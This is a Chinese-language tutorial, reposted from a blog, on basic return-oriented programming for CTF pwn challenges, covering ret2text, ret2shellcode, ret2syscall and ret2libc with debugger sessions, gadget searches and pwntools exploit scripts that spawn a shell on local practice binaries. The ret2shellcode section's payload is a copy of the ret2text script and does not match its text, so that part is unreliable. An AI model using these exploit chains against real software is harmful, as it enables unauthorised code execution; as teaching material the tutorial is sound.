原文链接：https://blog.csdn.net/guiguzi1110/article/details/77663430?locationNum=1&fps=1

基本ROP

随着NX保护的开启，以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护，目前主要的是ROP(Return
Oriented
Programming)，其主要思想是在**栈缓冲区溢出的基础上(这一条之后不再重复提及)，通过利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值，从而改变程序的执行流程。**所谓gadgets就是以ret结尾的指令序列，通过这些指令序列，我们可以修改某些地址的内容，方便控制程序的执行流程。

之所以称之为ROP，是因为核心在于利用了指令集中的ret指令，改变了指令流的执行顺序。ROP攻击一般得满足如下条件

- 程序存在溢出，并且可以控制返回地址。

- 可以找到满足条件的gadgets以及相应gadgets的地址。如果当程序开启了PIE保护，那么就必须想办法泄露gadgets的地址了。

# ret2text

## 原理

ret2text即需要我们控制程序执行程序本身已有的的代码(.text)。其实，这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是gadgets)，这就是我们所要说的rop。

这时，我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护，我们需要想办法去绕过这些保护。

## 例子

其实，在栈溢出的基本原理中，我们已经介绍了这一简单的攻击。在这里，我们再给出另外一个例子，bamboofox中介绍ROP时使用的ret2text的例子。

首先，查看一下程序的保护机制

```shell

➜  ret2text checksec ret2text

    Arch:     i386-32-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE (0x8048000)

```

可以看出程序是32位程序，其仅仅开启了栈不可执行保护。然后，我们使用IDA来查看源代码。

```C

int __cdecl main(int argc, const char **argv, const char **envp)

{

  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);

  setvbuf(_bss_start, 0, 1, 0);

  puts("There is something amazing here, do you know anything?");

  gets((char *)&v4);

  printf("Maybe I will tell you next time !");

  return 0;

}

```

可以看出程序在主函数中使用了gets函数，显然存在栈溢出漏洞。此后又发现

```asm

.text:080485FD secure          proc near

.text:080485FD

.text:080485FD input           = dword ptr -10h

.text:080485FD secretcode      = dword ptr -0Ch

.text:080485FD

.text:080485FD                 push    ebp

.text:080485FE                 mov     ebp, esp

.text:08048600                 sub     esp, 28h

.text:08048603                 mov     dword ptr [esp], 0 ; timer

.text:0804860A                 call    _time

.text:0804860F                 mov     [esp], eax      ; seed

.text:08048612                 call    _srand

.text:08048617                 call    _rand

.text:0804861C                 mov     [ebp+secretcode], eax

.text:0804861F                 lea     eax, [ebp+input]

.text:08048622                 mov     [esp+4], eax

.text:08048626                 mov     dword ptr [esp], offset unk_8048760

.text:0804862D                 call    ___isoc99_scanf

.text:08048632                 mov     eax, [ebp+input]

.text:08048635                 cmp     eax, [ebp+secretcode]

.text:08048638                 jnz     short locret_8048646

.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"

.text:08048641                 call    _system

```

在secure函数又发现了存在调用system("/bin/sh")的代码，那么如果我们直接控制程序返回至0x0804863A，那么就可以得到系统的shell了。

下面就是我们如何构造payload了，首先需要确定的是我们能够控制的内存地址距离main函数的返回地址的字节数。

```asm

.text:080486A7                 lea     eax, [esp+1Ch]

.text:080486AB                 mov     [esp], eax      ; s

.text:080486AE                 call    _gets

```

可以看到该字符串是通过相对于esp的索引，所以我们需要进行调试，将断点下在call处，查看esp，ebp，如下

```shell

gef➤  b *0x080486AE

Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.

gef➤  r

There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ae in main () at ret2text.c:24

24    gets(buf);

───────────────────────────────────────────────────────────────────────[ registers ]────

$eax   : 0xffffcd5c  →  0x08048329  →  "__libc_start_main"

$ebx   : 0x00000000

$ecx   : 0xffffffff

$edx   : 0xf7faf870  →  0x00000000

$esp   : 0xffffcd40  →  0xffffcd5c  →  0x08048329  →  "__libc_start_main"

$ebp   : 0xffffcdc8  →  0x00000000

$esi   : 0xf7fae000  →  0x001b1db0

$edi   : 0xf7fae000  →  0x001b1db0

$eip   : 0x080486ae  →   call 0x8048460

```

可以看到esp为0xffffcd40，ebp为具体的payload如下0xffffcdc8，同时s相对于esp的索引为[esp+0x1c]，所以，s的地址为0xffffcd5c，所以s相对于ebp

的偏移为0x6C，所以相对于返回地址的偏移为0x6c+4。

最后的payload如下：

```python

#!/usr/bin/env python

from pwn import *

sh = process('./ret2text')

target = 0x804863a

sh.sendline('A' * (0x6c+4) + p32(target))

sh.interactive()

```

## 题目

# ret2shellcode

## 原理

ret2shellcode需要我们控制程序执行shellcode代码。而所谓的shellcode指的是用于完成某个功能的汇编代码，常见的功能主要是获取目标系统的shell。

**一般来说，shellcode都需要我们自己去填充。这其实是另外一种典型的利用的方法，即此时我们需要自己去填充一些可执行的代码**。

而在栈溢出的基础上，我们一般都是向栈中写内容，所以要想执行shellcode，需要对应的binary文件没有开启NX保护。

## 例子

这里我们以bamboofox中的ret2shellcode为例，首先检测程序开启的保护

```shell

➜  ret2shellcode checksec ret2shellcode

    Arch:     i386-32-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX disabled

    PIE:      No PIE (0x8048000)

    RWX:      Has RWX segments

```

可以看出源程序几乎没有开启任何保护，并且有可读，可写，可执行段。我们再使用IDA看一下程序

```C

int __cdecl main(int argc, const char **argv, const char **envp)

{

  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);

  setvbuf(stdin, 0, 1, 0);

  puts("No system for you this time !!!");

  gets((char *)&v4);

  strncpy(buf2, (const char *)&v4, 0x64u);

  printf("bye bye ~");

  return 0;

}

```

可以看出，程序仍然是基本的栈溢出漏洞，不过这次还同时将对应的字符串复制到buf2处。简单查看可知buf2在bss段。

```asm

.bss:0804A080                 public buf2

.bss:0804A080 ; char buf2[100]

```

这时，我们简单的调试下程序，看看这一个bss段是否可执行。

```shell

gef➤  b main

Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.

gef➤  r

Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 

Breakpoint 1, main () at ret2shellcode.c:8

8    setvbuf(stdout, 0LL, 2, 0LL);

─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────

      6 int main(void)

      7 {

 →    8     setvbuf(stdout, 0LL, 2, 0LL);

      9     setvbuf(stdin, 0LL, 1, 0LL);

     10  

─────────────────────────────────────────────────────────────────────[ trace ]────

[#0] 0x8048536 → Name: main()

──────────────────────────────────────────────────────────────────────────

gef➤  vmmap 

Start      End        Offset     Perm Path

0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so

0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so

0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so

0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so

0xf7faf000 0xf7fb2000 0x00000000 rwx 

0xf7fd3000 0xf7fd5000 0x00000000 rwx 

0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]

0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]

0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so

0xf7ffb000 0xf7ffc000 0x00000000 rwx 

0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so

0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so

0xfffdd000 0xffffe000 0x00000000 rwx [stack]

```

通过vmmap，我们可以看到bss段对应的段具有可执行权限

```text

0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

```

那么这次我们就控制程序执行shellcode，也就是读入shellcode，然后控制程序执行bss段处的shellcode。其中，相应的偏移计算类似于

ret2text中的例子。

具体的payload如下

```python

#!/usr/bin/env python

from pwn import *

sh = process('./ret2text')

target = 0x804863a

sh.sendline('A' * (0x6c + 4) + p32(target))

sh.interactive()

```

## 题目

- sniperoj-pwn100-shellcode-x86-64

# ret2syscall

## 原理

ret2syscall需要我们控制程序执行系统调用，获取shell。

## 例子

这里我们以bamboofox中的ret2syscall为例，首先检测程序开启的保护

```shell

➜  ret2syscall checksec rop

    Arch:     i386-32-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE (0x8048000)

```

可以看出，源程序为32位，开启了NX保护。接下来利用IDA来查看源码

```C

int __cdecl main(int argc, const char **argv, const char **envp)

{

  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);

  setvbuf(stdin, 0, 1, 0);

  puts("This time, no system() and NO SHELLCODE!!!");

  puts("What do you plan to do?");

  gets(&v4);

  return 0;

}

```

可以看出此次仍然是一个栈溢出。类似于之前的做法，我们可以获得v4相对于ebp的偏移为108。所以我们需要覆盖的返回地址相对于

v4的偏移为112。此次，由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得shell，所以我们利用程序中的gadgets来

获得shell，而对应的shell获取则是利用系统调用。关于系统调用的知识，请参考

- https://zh.wikipedia.org/wiki/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8

简单地说，只要我们把对应获取shell的系统调用的参数放到对应的寄存器中，那么我们在执行int 0x80就可执行对应的系统调用。

比如说这里我们利用如下系统调用来获取shell

```C

execve("/bin/sh",NULL,NULL)

```

其中，该程序是32位，所以我们需要使得

- 系统调用号即eax应该为0xb

- 第一个参数即ebx应该指向/bin/sh的地址，其实执行sh的地址也可以

- 第二个参数即ecx应该为0

- 第三个参数edx应该为0

而我们如何控制这些寄存器的值 呢？这里就需要使用gadgets。比如说，现在栈顶是10，那么如果此时执行了pop
eax，那么现在eax的值就为10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器，所以我们需要一段一段控制，

这也是我们在gadgets最后使用ret来再次控制程序执行流程的原因。具体寻找gadgets的方法，我们可以使用ropgadgets这个工具。

首先，我们来寻找控制eax的gadgets

```shell

➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'

0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret

0x080bb196 : pop eax ; ret

0x0807217a : pop eax ; ret 0x80e

0x0804f704 : pop eax ; ret 3

0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

```

可以看到有上述几个都可以控制eax，那我就选取第二个来作为我的gadgets。

类似的，我们可以得到控制其它寄存器的gadgets

```shell

➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'

0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret

0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret

0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret

0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret

0x080be23f : pop ebx ; pop edi ; ret

0x0806eb69 : pop ebx ; pop edx ; ret

0x08092258 : pop ebx ; pop esi ; pop ebp ; ret

0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret

0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10

0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14

0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc

0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4

0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8

0x08048913 : pop ebx ; pop esi ; pop edi ; ret

0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4

0x08049a94 : pop ebx ; pop esi ; ret

0x080481c9 : pop ebx ; ret

0x080d7d3c : pop ebx ; ret 0x6f9

0x08099c87 : pop ebx ; ret 8

0x0806eb91 : pop ecx ; pop ebx ; ret

0x0806336b : pop edi ; pop esi ; pop ebx ; ret

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret

0x0805c820 : pop esi ; pop ebx ; ret

0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

0x0807b6ed : pop ss ; pop ebx ; ret

```

这里，我选择

```text

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

```

这个可以直接控制其它三个寄存器。

此外，我们需要获得/bin/sh字符串对应的地址。

```shell

➜  ret2syscall ROPgadget --binary rop  --string '/bin/sh' 

Strings information

============================================================

0x080be408 : /bin/sh

```

可以找到对应的地址，此外，还有int 0x80的地址，如下

```text

➜  ret2syscall ROPgadget --binary rop  --only 'int'                 

Gadgets information

============================================================

0x08049421 : int 0x80

0x080938fe : int 0xbb

0x080869b5 : int 0xf6

0x0807b4d4 : int 0xfc

Unique gadgets found: 4

```

同时，也找到对应的地址了。

下面就是对应的payload,其中0xb为execve对应的系统调用号。

```python

#!/usr/bin/env python

from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196

pop_edx_ecx_ebx_ret = 0x0806eb90

int_0x80 = 0x08049421

binsh = 0x80be408

payload = flat(

    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])

sh.sendline(payload)

sh.interactive()

```

## 题目

# ret2libc

## 原理

ret2libc即控制函数的执行 libc中的函数，通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。

一般情况下，我们会选择执行system("/bin/sh")，故而此时我们需要知道system函数的地址。

## 例子

我们由简单到难分别给出三个例子。

### 例1

这里我们以bamboofox中ret2libc1为例。首先，我们可以检查一下程序的安全保护

```shell

➜  ret2libc1 checksec ret2libc1    

    Arch:     i386-32-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE (0x8048000)

```

源程序为32位，开启了NX保护。下面来看一下程序源代码，确定漏洞位置

```c

int __cdecl main(int argc, const char **argv, const char **envp)

{

  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);

  setvbuf(_bss_start, 0, 1, 0);

  puts("RET2LIBC >_<");

  gets((char *)&v4);

  return 0;

}

```

可以看到在执行gets函数的时候出现了栈溢出。此外，利用ropgadget，我们可以查看是否有/bin/sh存在

```shell

➜  ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'          

Strings information

============================================================

0x08048720 : /bin/sh

```

确实存在，再次查找一下是否有system函数存在。经在ida中查找，确实也存在。

```asm

.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

```

那么，我们直接返回该处，即执行system函数。相应的payload如下

```python

#!/usr/bin/env python

from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720

system_plt = 0x08048460

payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])

sh.sendline(payload)

sh.interactive()

```

这里我们需要注意函数调用栈的结构，如果是正常调用system函数，我们调用的时候会有一个对应的返回地址，这里以'bbbb'作为

虚假的地址，其后参数对应的参数内容。

这个例子，相对来说，最为简单，同时提供了system地址与/bin/sh的地址，但是大多数程序并不会有这么好的情况。

### 例2

这里以bamboofox中的ret2libc2为例，该题目与例1基本一致，只不过不再出现/bin/sh字符串，所以此次需要我们自己来读取字符串，

所以我们需要两个gadgets，第一个控制程序读取字符串，第二个控制程序执行system(""/bin/sh")。由于漏洞与上述一致，

这里就不在多说，具体的exp如下

```python

#!/usr/bin/env python

from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460

system_plt = 0x08048490

pop_ebx = 0x0804843d

buf2 = 0x804a080

payload = flat(

    ['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])

sh.sendline(payload)

sh.sendline('/bin/sh')

sh.interactive()

```

需要注意的是，我这里向程序中bss段的buf2处写入/bin/sh字符串，并将其地址作为system的参数传入。这样以便于可以获得shell。

### 例3

这里以bamboofox中的ret2libc3为例，在例2的基础上，再次将system函数的地址去掉。此时，我们需要同时找到system函数地址

与/bin/sh字符串的地址。首先，查看安全保护

```shell

➜  ret2libc3 checksec ret2libc3

    Arch:     i386-32-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE (0x8048000)

```

可以看出，源程序仍旧开启了堆栈不可执行保护。进而查看源码，发现程序的bug仍然是栈溢出

```C

int __cdecl main(int argc, const char **argv, const char **envp)

{

  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);

  setvbuf(stdin, 0, 1, 0);

  puts("No surprise anymore, system disappeard QQ.");

  printf("Can you find it !?");

  gets((char *)&v4);

  return 0;

}

```

那么我们如何得到system函数的地址呢？这里就主要利用了两个知识点

- system函数属于libc，而libc.so文件中的函数之间相对偏移是固定的。

- 即使程序有ASLR保护，也只是针对于地址中间位进行随机，最低的12位并不会发生改变。而libc在github上有人进行收集，具体细节如下

  - https://github.com/niklasb/libc-database

所以如果我们知道libc中某个函数的地址，那么我们就可以确定该程序利用的libc。进而我们就可以知道system函数的地址。

那么如何得到libc中的某个函数的地址呢？我们一般常用的方法是采用got表泄露，即输出某个函数对应的got表项的内容。

**当然，由于libc的延迟绑定机制，我们需要选择已经执行过的函数来进行泄露。**

我们自然可以根据上面的步骤先得到libc，之后在程序中查询偏移，然后再次获取system地址，但这样手工操作次数太多，

有点麻烦，这里给出一个libc的利用工具，具体细节请参考readme

- https://github.com/lieanu/LibcSearcher

此外，在得到libc之后，其实libc中也是有/bin/sh字符串的，所以我们可以一起获得/bin/sh字符串的地址。

这里我们泄露__libc_start_main的地址，这是因为它是程序最初被执行的地方。基本利用思路如下

- 泄露__libc_start_main地址

- 获取libc版本

- 获取system地址与/bin/sh的地址

- 再次执行源程序

- 触发栈溢出执行system(‘/bin/sh’)

exp如下

```python

#!/usr/bin/env python

from pwn import *

from LibcSearcher import LibcSearcher

sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']

libc_start_main_got = ret2libc3.got['__libc_start_main']

main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"

payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])

sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"

libc_start_main_addr = u32(sh.recv()[0:4])

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)

libcbase = libc_start_main_addr - libc.dump('__libc_start_main')

system_addr = libcbase + libc.dump('system')

binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"

payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])

sh.sendline(payload)

sh.interactive()

```

## 题目

- train.cs.nctu.edu.tw ret2libc

# shell获取小结

这里总结几种常见的获取shell的方式：

- 执行shellcode，这一方面也会有不同的情况

  - 可以直接返回shell

  - 可以将shell返回到某一个端口

  - shellcode中字符有时候需要满足不同的需求

  - **注意，我们需要将shellcode写在可以执行的内存区域中。**

- 执行system("/bin/sh"),system('sh')等等

  - 关于system的地址，参见下面章节的**地址寻找**。

  - 关于"/bin/sh"， “sh”

    - 首先寻找binary里面有没有对应的字符串,**比如说有flush函数，那就一定有sh了**

    - 考虑个人读取对应字符串

    - libc中其实是有/bin/sh的

  - 优点

    - 只需要一个参数。

  - 缺点

    - **有可能因为破坏环境变量而无法执行。**

- 执行execve("/bin/sh",NULL,NULL)

  - 前几条同system

  - 优点

    - 几乎不受环境变量的影响。

  - 缺点

    - **需要3个参数。**

- 系统调用

  - 系统调用号11

# 地址寻找小结

在整个漏洞利用过程中，我们总是免不了要去寻找一些地址，常见的寻找地址的类型，有如下几种

## 通用寻找

### 直接地址寻找

- 程序中已经给出了相关变量或者函数的地址了。这时候，我们就可以直接进行利用了。

### got表寻找

- 有时候我们并不一定非得直接知道某个函数的地址，可以利用GOT表的跳转到对应函数的地址。

当然，如果我们非得知道这个函数的地址，我们可以利用write，puts等输出函数将GOT表中地址处对应的内容输出出来

（**前提是这个函数已经被解析一次了**）。

## 有libc

-
**相对偏移寻找**，这时候我们就需要考虑利用libc中函数的基地址一样这个特性来寻找了。其实__libc_start_main就是libc

在内存中的基地址。**注意：不要选择有wapper的函数，这样会使得函数的基地址计算不正确。**常见的有wapper的函数有（待补充）。

## 无libc

其实，这种情况的解决策略分为两种

- 想办法获取libc

- 想办法直接获取对应的地址。

而对于想要泄露的地址，我们只是单纯地需要其对应的内容，所以puts和write均可以。

- puts会有\x00截断的问题

- write可以指定长度输出的内容。

下面是一些相应的方法

### DynELF

前提是我们可以泄露任意地址的内容。

- **如果要使用write函数泄露的话，一次最好多输出一些地址的内容，因为我们一般是只是不断地向高地址读内容

，很有可能导致高地址的环境变量被覆盖，就会导致shell不能启动。**

### libc数据库

```shell

# 更新数据库

./get

# 将已有libc添加到数据库中

./add libc.so 

# Find all the libc's in the database that have the given names at the given addresses. 

./find function1 addr function2 addr

# Dump some useful offsets, given a libc ID. You can also provide your own names to dump.

./Dump some useful offsets

```

去libc的数据库中找到对应的和已经出现的地址一样的libc，这时候很有可能是一样的。

- libcdb.com

**当然，还有上面提到的https://github.com/lieanu/LibcSearcher。**

### ret2dl-resolve 

当ELF文件采用动态链接时，got表会采用延迟绑定技术。当第一次调用某个libc函数时，程序会调用_dl_runtime_resolve函数对其地址解析。

因此，我们可以利用栈溢出构造ROP链，伪造对其他函数（如：system）的解析。这也是我们在高级rop中会介绍的技巧。

# 题目

- train.cs.nctu.edu.tw

  - rop

- 2013-PlaidCTF-ropasaurusrex

- Defcon 2015 Qualifier: R0pbaby

**参考阅读**

- 乌云一步一步ROP篇(蒸米)

- [手把手教你栈溢出从入门到放弃（上）](https://zhuanlan.zhihu.com/p/25816426)

- [手把手教你栈溢出从入门到放弃（下）](https://zhuanlan.zhihu.com/p/25892385)

- [ 【技术分享】现代栈溢出利用技术基础：ROP](http://bobao.360.cn/learning/detail/3694.html)